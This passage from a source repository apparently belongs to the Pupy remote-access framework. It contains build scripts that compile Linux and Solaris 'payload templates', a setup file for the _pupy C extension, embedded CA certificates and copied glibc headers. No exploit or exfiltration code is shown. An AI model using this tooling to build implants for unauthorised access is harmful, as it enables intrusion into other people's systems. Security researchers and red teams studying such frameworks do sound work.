    TARGETS="pupyx64d${SUFFIX}.lin pupyx64d${SUFFIX}.lin"
    TARGETS="$TARGETS pupyx64${SUFFIX}.lin pupyx64${SUFFIX}.lin.so"
    export LIBPYTHON=/root/.pyenv/versions/3.10.6/lib/libpython3.10.so
    export LIBPYTHON_INC="-I/root/.pyenv/versions/3.10.6/include/python3.10"
    ;;

x86)
    MAKEFLAGS="ARCH=32 PIE= MACH=i686 $LIBS"
    TARGETS="pupyx86d${SUFFIX}.lin pupyx86d${SUFFIX}.lin.so"
    TARGETS="$TARGETS pupyx86${SUFFIX}.lin pupyx86${SUFFIX}.lin.so"
    ;;

*)
    LIBS="LIBSSL=/usr/lib/libssl.so LIBCRYPTO=/usr/lib/libcrypto.so"
    LIBS="$LIBS LIBPYTHON=/usr/lib/libpython3.10.so"
    MAKEFLAGS="MACH=${TOOLCHAIN_ARCH} $LIBS"
    TARGETS="pupy${TOOLCHAIN_ARCH}d.lin pupy${TOOLCHAIN_ARCH}d.lin.so"
    TARGETS="$TARGETS pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin.so"
    ;;
esac

for target in $TARGETS; do rm -f $TEMPLATES/$target; done

cd $SRC

MAKEFLAGS="$MAKEFLAGS OPENSSL_LIB_VERSION=1.1"

export PKG_CONFIG_PATH=$(echo ~/.pyenv/versions/*/lib/pkgconfig)

make $MAKEFLAGS distclean
make -j $MAKEFLAGS
#make $MAKEFLAGS
make $MAKEFLAGS clean
make -j DEBUG=1 $MAKEFLAGS
#make DEBUG=1 $MAKEFLAGS

for object in $TARGETS; do
    if [ -z "$object" ]; then
        continue
    fi

    if [ ! -f $TEMPLATES/$object ]; then
        echo "[-] $object - failed"
        FAILED=1
    fi
done

if [ -z "$FAILED" ]; then
    echo "[+] Build complete"
else
    echo "[-] Build failed"
    exit 1
fi


================================================
FILE: client/sources-linux-py3/build_c_ext.py
================================================
#!/usr/bin/env python3
# -*- coding: UTF8 -*-

from distutils.core import setup, Extension
import sys


def main():
    extra_compile_args = ["-D_PUPY_SO=1", "-DLinux=1"]
    extra_sources = []
    if "--debug" in sys.argv:
        extra_compile_args += ["-DDEBUG"]
        extra_sources+=["../common/debug.c"]
        print("compiling _pupy.so with DEBUG=1")
    setup(name="_pupy",
          version="1.0.0",
          description="_pupy linux c extension",
          author="n1nj4sec",
          ext_modules=[Extension("_pupy",sources=(["pupy.c", "daemonize.c", "tmplibrary.c", "ld_hooks.c", "decompress.c"]+extra_sources),
            include_dirs=[".","../common"],
             extra_compile_args=extra_compile_args
        )])

if __name__ == "__main__":
    main()



================================================
FILE: client/sources-linux-py3/buildenv-sunos.sh
================================================
#!/usr/bin/bash

set -e

exec 2>buildenv-sunos.log

BPWD=`pwd`
BUILDENV=$BPWD/buildenv-sunos
TEMPLATES=$BPWD/../../pupy/payload_templates

cat >gccwrap << '__EOF__'
#!/usr/bin/bash
declare -a filter=( "$CFLAGS_FILTER" )
declare -a badargs=( "$CFLAGS_ABORT" )
declare -a outargs=()

for arg; do
  found=false
  for filtered in ${filter[@]}; do
     if [ "$filtered" == "$arg" ]; then
        found=true
        break
     fi
  done

  for bad in ${badargs[@]}; do
     if [ "$bad" == "$arg" ]; then
        echo "Unsupported argument found: $bad"
        exit 1
     fi
  done

  if [ "$found" = "false" ]; then
        outargs[${#outargs[@]}]="$arg"
  fi

done

exec gcc $GCCWRAP_CFLAGS_EXTRA "${outargs[@]}"
__EOF__

chmod +x gccwrap
export CC=$BPWD/gccwrap

mkdir -p $BUILDENV

# VERSIONS /MAY/ BE UPDATED (In case of vulnerabilites)
OPENSSL_SRC="https://www.openssl.org/source/openssl-1.0.2p.tar.gz"
ZLIB_SRC="http://zlib.net/zlib-1.2.11.tar.gz"
SQLITE_SRC="http://www.sqlite.org/2018/sqlite-autoconf-3220000.tar.gz"
LIBFFI_SRC="http://http.debian.net/debian/pool/main/libf/libffi/libffi_3.2.1.orig.tar.gz"
PYTHON_SRC="https://www.python.org/ftp/python/2.7.15/Python-2.7.15.tgz"

export PATH="$BUILDENV/build/bin:/opt/csw/bin/:/usr/sfw/bin/:/usr/ccs/bin/:/usr/xpg4/bin/:$PATH"

# pkgutil -y -i wget automake autoconf pkgconfig xz libtool git

if [ ! -d $BUILDENV/src ]; then
    mkdir -p $BUILDENV/build $BUILDENV/src
    cd $BUILDENV/src
    for bin in "$OPENSSL_SRC" "$ZLIB_SRC" "$SQLITE_SRC" "$LIBFFI_SRC" "$PYTHON_SRC"; do
        wget -O - "$bin" | gzip -d | tar xf -
    done
    cd -
fi

export LD_LIBRARY_PATH=$BUILDENV/build/lib
export CFLAGS="-m64 -fPIC -DSUNOS_NO_IFADDRS -DHAVE_AS_X86_64_UNWIND_SECTION_TYPE -I$BUILDENV/build/lib/libffi-3.2.1/include -I$BUILDENV/build/include"
export LDFLAGS_NODEFS="-Wl,-i -m64 -fPIC -L$BUILDENV/build/lib -static-libgcc -lc -Wl,-znow -Wl,-zignore"
export LDFLAGS_DEFS="-Wl,-i -m64 -fPIC -L$BUILDENV/build/lib -static-libgcc -lc -Wl,-zdefs -Wl,-znow -Wl,-zignore"
export LDFLAGS=$LDFLAGS_DEFS
export PKG_CONFIG_PATH="$BUILDENV/build/lib/pkgconfig"
set -x

ln -sf /usr/lib/amd64/libcrypt_i.so /usr/lib/amd64/libcrypt.so

cd $BUILDENV/src/zlib-1.2.11
./configure --64 --static --prefix=$BUILDENV/build; gmake; gmake install

cd $BUILDENV/src/libffi-3.2.1
./configure --enable-static --disable-shared --prefix=$BUILDENV/build; make; make install

cd $BUILDENV/src/sqlite-autoconf-3220000
./configure --enable-static --disable-shared --prefix=$BUILDENV/build; gmake; gmake install

cd $BUILDENV/src/openssl-1.0.2p
./Configure --openssldir=$BUILDENV/build/ shared solaris64-x86_64-gcc; gmake; gmake install

export GCCWRAP_CFLAGS_EXTRA=-std=gnu99
export LDFLAGS=$LDFLAGS_NODEFS

cd $BUILDENV/src/Python-2.7.15
[ -f $BPWD/Python.SunOS10.Setup.dist ] && \
	cp -f $BPWD/Python.SunOS10.Setup.dist $BUILDENV/src/Python-2.7.15/Modules/Setup.dist

./configure --with-ensurepip=install --enable-unicode=ucs4 \
	    --with-system-ffi --enable-ipv6 --prefix=$BUILDENV/build \
	    CFLAGS="$CFLAGS -DXML_DEV_URANDOM"
gmake; gmake install
gcc -m64 --without-libgcc -shared -fPIC -o $BUILDENV/build/lib/libpython2.7.so \
    -Wl,--whole-archive libpython2.7.a -Wl,--no-whole-archive \
    -lc -lnsl -lsocket -lz -lm -ldl -lrt \
    $BUILDENV/build/lib/libssl.so $BUILDENV/build/lib/libcrypto.so \
    -lpthread \
    -Wl,--no-undefined -Wl,-zignore -Wl,-zdefs -Wl,-znow -Wl,-h,libpython2.7.so.1.0

unset GCCWRAP_CFLAGS_EXTRA

cat >$BUILDENV/build/certs/244b5494.0 << __EOF__
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL
MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm
+9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW
PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM
xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB
Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3
hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg
EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF
MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA
FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec
nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z
eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF
hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2
Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep
+OkuE6N36B9K
-----END CERTIFICATE-----
__EOF__

cat >$BUILDENV/build/certs/b155520b.0 << __EOF__
-----BEGIN CERTIFICATE-----
MIIEizCCA3OgAwIBAgIORvCM288sVGbvMwHdXzQwDQYJKoZIhvcNAQELBQAwVzEL
MAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsT
B1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xNTA4MTkw
MDAwMDBaFw0yNTA4MTkwMDAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBH
bG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENB
IC0gU0hBMjU2IC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCj
wHXhMpjl2a6EfI3oI19GlVtMoiVw15AEhYDJtfSKZU2Sy6XEQqC2eSUx7fGFIM0T
UT1nrJdNaJszhlyzey2q33egYdH1PPua/NPVlMrJHoAbkJDIrI32YBecMbjFYaLi
blclCG8kmZnPlL/Hi2uwH8oU+hibbBB8mSvaSmPlsk7C/T4QC0j0dwsv8JZLOu69
Nd6FjdoTDs4BxHHT03fFCKZgOSWnJ2lcg9FvdnjuxURbRb0pO+LGCQ+ivivc41za
Wm+O58kHa36hwFOVgongeFxyqGy+Z2ur5zPZh/L4XCf09io7h+/awkfav6zrJ2R7
TFPrNOEvmyBNVBJrfSi9AgMBAAGjggFTMIIBTzAOBgNVHQ8BAf8EBAMCAQYwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB/wQIMAYBAf8CAQAw
HQYDVR0OBBYEFKkrh+HOJEc7G7/PhTcCVZ0NlFjmMB8GA1UdIwQYMBaAFGB7ZhpF
DZfKiVAvfQTNNKj//P1LMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0
cDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMDMGA1UdHwQsMCowKKAmoCSG
Imh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC5jcmwwVgYDVR0gBE8wTTAL
BgkrBgEEAaAyARQwPgYGZ4EMAQICMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3
Lmdsb2JhbHNpZ24uY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQCi
HWmKCo7EFIMqKhJNOSeQTvCNrNKWYkc2XpLR+sWTtTcHZSnS9FNQa8n0/jT13bgd
+vzcFKxWlCecQqoETbftWNmZ0knmIC/Tp3e4Koka76fPhi3WU+kLk5xOq9lF7qSE
hf805A7Au6XOX5WJhXCqwV3szyvT2YPfA8qBpwIyt3dhECVO2XTz2XmCtSZwtFK8
jzPXiq4Z0PySrS+6PKBIWEde/SBWlSDBch2rZpmk1Xg3SBufskw3Z3r9QtLTVp7T
HY7EDGiWtkdREPd76xUJZPX58GMWLT3fI0I6k2PMq69PVwbH/hRVYs4nERnh9ELt
IjBrNRpKBYCkZd/My2/Q
-----END CERTIFICATE-----
__EOF__

cat >$BUILDENV/build/certs/5ad8a5d6.0 << __EOF__
-----BEGIN CERTIFICATE-----
MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG
A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv
b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw
MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i
YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT
aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ
jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp
xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp
1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG
snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ
U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8
9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E
BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B
AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz
yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE
38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP
AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad
DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME
HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==
-----END CERTIFICATE-----
__EOF__

python -m pip install --upgrade six packaging appdirs setuptools

export CFLAGS_FILTER="-Wno-error=sign-conversion"

python -m pip install \
       pyaml rsa netaddr tinyec pyyaml ecdsa \
       paramiko uptime cryptography cffi pylzma pydbus python-ptrace scandir \
       scapy colorama pyOpenSSL python-xlib msgpack-python \
       u-msgpack-python poster dnslib \
       --upgrade --no-binary :all:

python -m pip install --upgrade pycryptodome

python -m pip install --force-reinstall pycparser==2.17 
python -m pip install git+https://github.com/alxchk/psutil.git@fix_sunos10_1346

export LDFLAGS="$LDFLAGS -lsendfile -lkstat"
export CFLAGS="$CFLAGS -Dstrnlen\\(x,l\\)=strlen\\(x\\)"
python -m pip install git+https://github.com/alxchk/pyuv.git@solaris10
python -m pip install git+https://github.com/alxchk/pykcp.git

cd $BUILDENV/build/lib/python2.7

find . -name "*.so*" | while read lib; do strip $lib; done

zip -y \
    -x "*.a" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyc" -x "*.pyo" \
    -x "*test/*" -x "*tests/*" -x "*examples/*" \
    -r9 ${TEMPLATES}/solaris-`uname -m`.zip .




================================================
FILE: client/sources-linux-py3/compat/bits/sched.h
================================================
/* Definitions of constants and data structure for POSIX 1003.1b-1993
   scheduling interface.
   Copyright (C) 1996-2016 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#ifndef __need_schedparam

#ifndef _SCHED_H
# error "Never include <bits/sched.h> directly; use <sched.h> instead."
#endif


/* Scheduling algorithms.  */
#define SCHED_OTHER		0
#define SCHED_FIFO		1
#define SCHED_RR		2
#ifdef __USE_GNU
# define SCHED_BATCH		3
# define SCHED_IDLE		5

# define SCHED_RESET_ON_FORK	0x40000000
#endif

#ifdef __USE_GNU
/* Cloning flags.  */
# define CSIGNAL       0x000000ff /* Signal mask to be sent at exit.  */
# define CLONE_VM      0x00000100 /* Set if VM shared between processes.  */
# define CLONE_FS      0x00000200 /* Set if fs info shared between processes.  */
# define CLONE_FILES   0x00000400 /* Set if open files shared between processes.  */
# define CLONE_SIGHAND 0x00000800 /* Set if signal handlers shared.  */
# define CLONE_PTRACE  0x00002000 /* Set if tracing continues on the child.  */
# define CLONE_VFORK   0x00004000 /* Set if the parent wants the child to
				     wake it up on mm_release.  */
# define CLONE_PARENT  0x00008000 /* Set if we want to have the same
				     parent as the cloner.  */
# define CLONE_THREAD  0x00010000 /* Set to add to same thread group.  */
# define CLONE_NEWNS   0x00020000 /* Set to create new namespace.  */
# define CLONE_SYSVSEM 0x00040000 /* Set to shared SVID SEM_UNDO semantics.  */
# define CLONE_SETTLS  0x00080000 /* Set TLS info.  */
# define CLONE_PARENT_SETTID 0x00100000 /* Store TID in userlevel buffer
					   before MM copy.  */
# define CLONE_CHILD_CLEARTID 0x00200000 /* Register exit futex and memory
					    location to clear.  */
# define CLONE_DETACHED 0x00400000 /* Create clone detached.  */
# define CLONE_UNTRACED 0x00800000 /* Set if the tracing process can't
				      force CLONE_PTRACE on this clone.  */
# define CLONE_CHILD_SETTID 0x01000000 /* Store TID in userlevel buffer in
					  the child.  */
# define CLONE_NEWCGROUP    0x02000000	/* New cgroup namespace.  */
# define CLONE_NEWUTS	0x04000000	/* New utsname group.  */
# define CLONE_NEWIPC	0x08000000	/* New ipcs.  */
# define CLONE_NEWUSER	0x10000000	/* New user namespace.  */
# define CLONE_NEWPID	0x20000000	/* New pid namespace.  */
# define CLONE_NEWNET	0x40000000	/* New network namespace.  */
# define CLONE_IO	0x80000000	/* Clone I/O context.  */
#endif

/* The official definition.  */
struct sched_param
  {
    int __sched_priority;
  };

__BEGIN_DECLS

#ifdef __USE_GNU
/* Clone current process.  */
extern int clone (int (*__fn) (void *__arg), void *__child_stack,
		  int __flags, void *__arg, ...) __THROW;

/* Unshare the specified resources.  */
extern int unshare (int __flags) __THROW;

/* Get index of currently used CPU.  */
extern int sched_getcpu (void) __THROW;

/* Switch process to namespace of type NSTYPE indicated by FD.  */
extern int setns (int __fd, int __nstype) __THROW;
#endif


__END_DECLS

#endif	/* need schedparam */

#if !defined __defined_schedparam \
    && (defined __need_schedparam || defined _SCHED_H)
# define __defined_schedparam	1
/* Data structure to describe a process' schedulability.  */
struct __sched_param
  {
    int __sched_priority;
  };
# undef __need_schedparam
#endif


#if defined _SCHED_H && !defined __cpu_set_t_defined
# define __cpu_set_t_defined

#define __CPU_MASK_TYPE unsigned long int

/* Size definition for CPU sets.  */
# define __CPU_SETSIZE	1024
# define __NCPUBITS	(8 * sizeof (__cpu_mask))

/* Type for array elements in 'cpu_set_t'.  */
typedef __CPU_MASK_TYPE __cpu_mask;

/* Basic access functions.  */
# define __CPUELT(cpu)	((cpu) / __NCPUBITS)
# define __CPUMASK(cpu)	((__cpu_mask) 1 << ((cpu) % __NCPUBITS))

/* Data structure to describe CPU mask.  */
typedef struct
{
  __cpu_mask __bits[__CPU_SETSIZE / __NCPUBITS];
} cpu_set_t;

/* Access functions for CPU masks.  */
# if __GNUC_PREREQ (2, 91)
#  define __CPU_ZERO_S(setsize, cpusetp) \
  do __builtin_memset (cpusetp, '\0', setsize); while (0)
# else
#  define __CPU_ZERO_S(setsize, cpusetp) \
  do {									      \
    size_t __i;								      \
    size_t __imax = (setsize) / sizeof (__cpu_mask);			      \
    __cpu_mask *__bits = (cpusetp)->__bits;				      \
    for (__i = 0; __i < __imax; ++__i)					      \
      __bits[__i] = 0;							      \
  } while (0)
# endif
# define __CPU_SET_S(cpu, setsize, cpusetp) \
  (__extension__							      \
   ({ size_t __cpu = (cpu);						      \
      __cpu / 8 < (setsize)						      \
      ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)]		      \
	 |= __CPUMASK (__cpu))						      \
      : 0; }))
# define __CPU_CLR_S(cpu, setsize, cpusetp) \
  (__extension__							      \
   ({ size_t __cpu = (cpu);						      \
      __cpu / 8 < (setsize)						      \
      ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)]		      \
	 &= ~__CPUMASK (__cpu))						      \
      : 0; }))
# define __CPU_ISSET_S(cpu, setsize, cpusetp) \
  (__extension__							      \
   ({ size_t __cpu = (cpu);						      \
      __cpu / 8 < (setsize)						      \
      ? ((((const __cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)]	      \
	  & __CPUMASK (__cpu))) != 0					      \
      : 0; }))

# define __CPU_COUNT_S(setsize, cpusetp) \
  __sched_cpucount (setsize, cpusetp)

# if __GNUC_PREREQ (2, 91)
#  define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \
  (__builtin_memcmp (cpusetp1, cpusetp2, setsize) == 0)
# else
#  define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \
  (__extension__							      \
   ({ const __cpu_mask *__arr1 = (cpusetp1)->__bits;			      \
      const __cpu_mask *__arr2 = (cpusetp2)->__bits;			      \
      size_t __imax = (setsize) / sizeof (__cpu_mask);			      \
      size_t __i;							      \
      for (__i = 0; __i < __imax; ++__i)				      \
	if (__arr1[__i] != __arr2[__i])					      \
	  break;							      \
      __i == __imax; }))
# endif

# define __CPU_OP_S(setsize, destset, srcset1, srcset2, op) \
  (__extension__							      \
   ({ cpu_set_t *__dest = (destset);					      \
      const __cpu_mask *__arr1 = (srcset1)->__bits;			      \
      const __cpu_mask *__arr2 = (srcset2)->__bits;			      \
      size_t __imax = (setsize) / sizeof (__cpu_mask);			      \
      size_t __i;							      \
      for (__i = 0; __i < __imax; ++__i)				      \
	((__cpu_mask *) __dest->__bits)[__i] = __arr1[__i] op __arr2[__i];    \
      __dest; }))

# define __CPU_ALLOC_SIZE(count) \
  ((((count) + __NCPUBITS - 1) / __NCPUBITS) * sizeof (__cpu_mask))
# define __CPU_ALLOC(count) __sched_cpualloc (count)
# define __CPU_FREE(cpuset) __sched_cpufree (cpuset)

__BEGIN_DECLS

static inline
cpu_set_t * __sched_cpualloc (size_t count) {
    return malloc (__CPU_ALLOC_SIZE (count));
}

static inline
int __sched_cpucount (size_t setsize, const cpu_set_t *setp)
{
  int s = 0;
  const __cpu_mask *p = setp->__bits;
  const __cpu_mask *end = &setp->__bits[setsize / sizeof (__cpu_mask)];

  while (p < end)
    {
      __cpu_mask l = *p++;

#ifdef POPCNT
      s += POPCNT (l);
#else
      if (l == 0)
    continue;

# if LONG_BIT > 32
      l = (l & 0x5555555555555555ul) + ((l >> 1) & 0x5555555555555555ul);
      l = (l & 0x3333333333333333ul) + ((l >> 2) & 0x3333333333333333ul);
      l = (l & 0x0f0f0f0f0f0f0f0ful) + ((l >> 4) & 0x0f0f0f0f0f0f0f0ful);
      l = (l & 0x00ff00ff00ff00fful) + ((l >> 8) & 0x00ff00ff00ff00fful);
      l = (l & 0x0000ffff0000fffful) + ((l >> 16) & 0x0000ffff0000fffful);
      l = (l & 0x00000000fffffffful) + ((l >> 32) & 0x00000000fffffffful);
# else
      l = (l & 0x55555555ul) + ((l >> 1) & 0x55555555ul);
      l = (l & 0x33333333ul) + ((l >> 2) & 0x33333333ul);
      l = (l & 0x0f0f0f0ful) + ((l >> 4) & 0x0f0f0f0ful);
      l = (l & 0x00ff00fful) + ((l >> 8) & 0x00ff00fful);
      l = (l & 0x0000fffful) + ((l >> 16) & 0x0000fffful);
# endif

      s += l;
#endif
    }

  return s;
}

static inline
void __sched_cpufree (cpu_set_t *__set) {
    free(__set);
}

__END_DECLS

#endif


================================================
FILE: client/sources-linux-py3/compat/bits/stat.h
================================================
/* Copyright (C) 1992, 1995-2001, 2002 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#ifndef _SYS_STAT_H
# error "Never include <bits/stat.h> directly; use <sys/stat.h> instead."
#endif

#ifndef __timespec_defined
#define __timespec_defined	1
struct timespec
  {
    __time_t tv_sec;
    long int tv_nsec;
  };
#endif
#undef	__need_timespec

/* Versions of the `struct stat' data structure.  */
#define _STAT_VER_LINUX_OLD	1
#define _STAT_VER_KERNEL	1
#define _STAT_VER_SVR4		2
#define _STAT_VER_LINUX		3
#define _STAT_VER		_STAT_VER_LINUX	/* The one defined below.  */

/* Versions of the `xmknod' interface.  */
#define _MKNOD_VER_LINUX	1
#define _MKNOD_VER_SVR4		2
#define _MKNOD_VER		_MKNOD_VER_LINUX /* The bits defined below.  */


struct stat
  {
    __dev_t st_dev;			/* Device.  */
    unsigned short int __pad1;
#ifndef __USE_FILE_OFFSET64
    __ino_t st_ino;			/* File serial number.	*/
#else
    __ino_t __st_ino;			/* 32bit file serial number.	*/
#endif
    __mode_t st_mode;			/* File mode.  */
    __nlink_t st_nlink;			/* Link count.  */
    __uid_t st_uid;			/* User ID of the file's owner.	*/
    __gid_t st_gid;			/* Group ID of the file's group.*/
    __dev_t st_rdev;			/* Device number, if device.  */
    unsigned short int __pad2;
#ifndef __USE_FILE_OFFSET64
    __off_t st_size;			/* Size of file, in bytes.  */
#else
    __off64_t st_size;			/* Size of file, in bytes.  */
#endif
    __blksize_t st_blksize;		/* Optimal block size for I/O.  */

#ifndef __USE_FILE_OFFSET64
    __blkcnt_t st_blocks;		/* Number 512-byte blocks allocated. */
#else
    __blkcnt64_t st_blocks;		/* Number 512-byte blocks allocated. */
#endif
    struct timespec st_atim;		/* Time of last access.  */
    struct timespec st_mtim;		/* Time of last modification.  */
    struct timespec st_ctim;		/* Time of last status change.  */
# define st_atime st_atim.tv_sec	/* Backward compatibility.  */
# define st_mtime st_mtim.tv_sec
# define st_ctime st_ctim.tv_sec
#ifndef __USE_FILE_OFFSET64
    unsigned long int __unused4;
    unsigned long int __unused5;
#else
    __ino64_t st_ino;			/* File serial number.	*/
#endif
  };

#ifdef __USE_LARGEFILE64
struct stat64
  {
    __dev_t st_dev;			/* Device.  */
    unsigned int __pad1;

    __ino_t __st_ino;			/* 32bit file serial number.	*/
    __mode_t st_mode;			/* File mode.  */
    __nlink_t st_nlink;			/* Link count.  */
    __uid_t st_uid;			/* User ID of the file's owner.	*/
    __gid_t st_gid;			/* Group ID of the file's group.*/
    __dev_t st_rdev;			/* Device number, if device.  */
    unsigned int __pad2;
    __off64_t st_size;			/* Size of file, in bytes.  */
    __blksize_t st_blksize;		/* Optimal block size for I/O.  */

    __blkcnt64_t st_blocks;		/* Number 512-byte blocks allocated. */
    struct timespec st_atim;		/* Time of last access.  */
    struct timespec st_mtim;		/* Time of last modification.  */
    struct timespec st_ctim;		/* Time of last status change.  */
    __ino64_t st_ino;			/* File serial number.		*/
  };
#endif

/* Tell code we have these members.  */
#define	_STATBUF_ST_BLKSIZE
#define _STATBUF_ST_RDEV

/* Encoding of the file mode.  */

#define	__S_IFMT	0170000	/* These bits determine file type.  */

/* File types.  */
#define	__S_IFDIR	0040000	/* Directory.  */
#define	__S_IFCHR	0020000	/* Character device.  */
#define	__S_IFBLK	0060000	/* Block device.  */
#define	__S_IFREG	0100000	/* Regular file.  */
#define	__S_IFIFO	0010000	/* FIFO.  */
#define	__S_IFLNK	0120000	/* Symbolic link.  */
#define	__S_IFSOCK	0140000	/* Socket.  */

/* POSIX.1b objects.  Note that these macros always evaluate to zero.  But
   they do it by enforcing the correct use of the macros.  */
#define __S_TYPEISMQ(buf)  ((buf)->st_mode - (buf)->st_mode)
#define __S_TYPEISSEM(buf) ((buf)->st_mode - (buf)->st_mode)
#define __S_TYPEISSHM(buf) ((buf)->st_mode - (buf)->st_mode)

/* Protection bits.  */

#define	__S_ISUID	04000	/* Set user ID on execution.  */
#define	__S_ISGID	02000	/* Set group ID on execution.  */
#define	__S_ISVTX	01000	/* Save swapped text after use (sticky).  */
#define	__S_IREAD	0400	/* Read by owner.  */
